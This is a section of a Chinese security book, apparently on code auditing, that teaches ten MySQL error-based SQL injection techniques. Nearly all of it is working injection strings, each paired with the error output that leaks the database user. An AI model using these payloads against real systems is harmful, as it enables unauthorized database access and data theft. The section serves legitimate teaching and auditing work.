8.7 十余种 MySQL 报错注入
利用数据库报错来显示数据的注入方式经常会在入侵中利用到,这种方法有一点局限性,需要页面有错误回显。而在代码审计中,经常会遇到没有正常数据回显的 SQL 注入漏洞,这时候我们就需要用报错注入的方式最快地拿到注入的数据。
早在很久以前就用到的数据类型转换报错是用得最多的一种方式,这种方式大多用在微软的 SQL Server 上,利用的是 convert() 和 cast() 函数,MySQL 的报错 SQL 注入方式更多,不过多数人以为只有三种,分别是 floor()、updatexml() 以及 extractvalue() 这三个函数,但实际上还有很多个函数都会导致 MySQL 报错并且显示出数据,它们分别是 GeometryCollection()、polygon()、GTID_SUBSET()、multipoint()、multilinestring()、multipolygon()、LINESTRING()、exp(),下面我们来看看它们具体的报错用法,需要注意的一点是,这些方法并不是在所有版本都通用,也有比较老的版本没有这些函数。
通常注入的 SQL 语句大多是"select*from phpsec where id=?”这种类型,这里我们就用这种形式来说明怎么利用,利用方式分别如下。
第一种:floor()
注入语句:
id=1 and ( select 1 from ( select count ( * ), concat ( user (), floor ( rand ( 0 ) *2 )) x from information_schema.tables group by x ) a )
SQL 语句执行后返回的错误信息如图 8-10 所示。
图 8-10
通过截图我们可以看到 MySQL 出现了报错,并且显示出了当前的连接用户名。
第二种:extractvalue()
注入语句:
id = 1 and ( extractvalue ( 1 , concat ( 0x5c , ( select user ()))))
错误信息如图 8-11 所示。
第三种:updatexml()
注入语句:
id = 1 AND ( updatexml ( 1 , concat ( 0x5e24 ,( select user ()), 0x5e24 ), 1 ))
图 8-11
错误信息:
[Err] 1105 - XPATH syntax error : '^$root@localhost^$'
第四种:GeometryCollection()
注入语句:
id = 1 AND GeometryCollection (( select * from ( select * from ( select user ()) a ) b ))
错误信息:
[Err] 1367 - Illegal non geometric ' ( select `b`.`user () ` from ( select 'root@localhost' AS `user () ` from dual ) `b` ) ' value found during parsing
第五种:polygon()
注入语句:
id = 1 AND polygon (( select * from ( select * from ( select user ()) a ) b ))
错误信息:
[Err] 1367 - Illegal non geometric ' ( select `b`.`user () ` from ( select 'root@localhost' AS `user () ` from dual ) `b` ) ' value found during parsing
第六种:multipoint()
注入语句:
id = 1 AND multipoint (( select * from ( select * from ( select user ()) a ) b ))
错误信息:
[Err] 1367 - Illegal non geometric ' ( select `b`.`user () ` from ( select 'root@localhost' AS `user () ` from dual ) `b` ) ' value found during parsing
第七种:multilinestring()
注入语句:
id = 1 AND multilinestring (( select * from ( select * from ( select user ()) a ) b ))
错误信息:
[Err] 1367 - Illegal non geometric ' ( select `b`.`user () ` from ( select 'root@localhost' AS `user () ` from dual ) `b` ) ' value found during parsing
第八种:multipolygon()
注入语句:
id = 1 AND multipolygon (( select * from ( select * from ( select user ()) a ) b ))
错误信息:
[Err] 1367 - Illegal non geometric ' ( select `b`.`user () ` from ( select 'root@localhost' AS `user () ` from dual ) `b` ) ' value found during parsing
第九种:linestring()
注入语句:
id = 1 AND LINESTRING (( select * from ( select * from ( select user ()) a ) b ))
错误信息:
[Err] 1367 - Illegal non geometric ' ( select `b`.`user () ` from ( select 'root@localhost' AS `user () ` from dual ) `b` ) ' value found during parsing
第十种:exp()
注入语句:
id = 1 and EXP ( ~ ( SELECT*from ( SELECT user ()) a ))
错误信息:
[Err] 1690 - DOUBLE value is out of range in 'exp ( ~ (( select 'root@localhost' from dual ))) '
如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。
绑定邮箱获取回复消息
由于您还没有绑定你的真实邮箱,如果其他用户或者作者回复了您的评论,将不能在第一时间通知您!
发布评论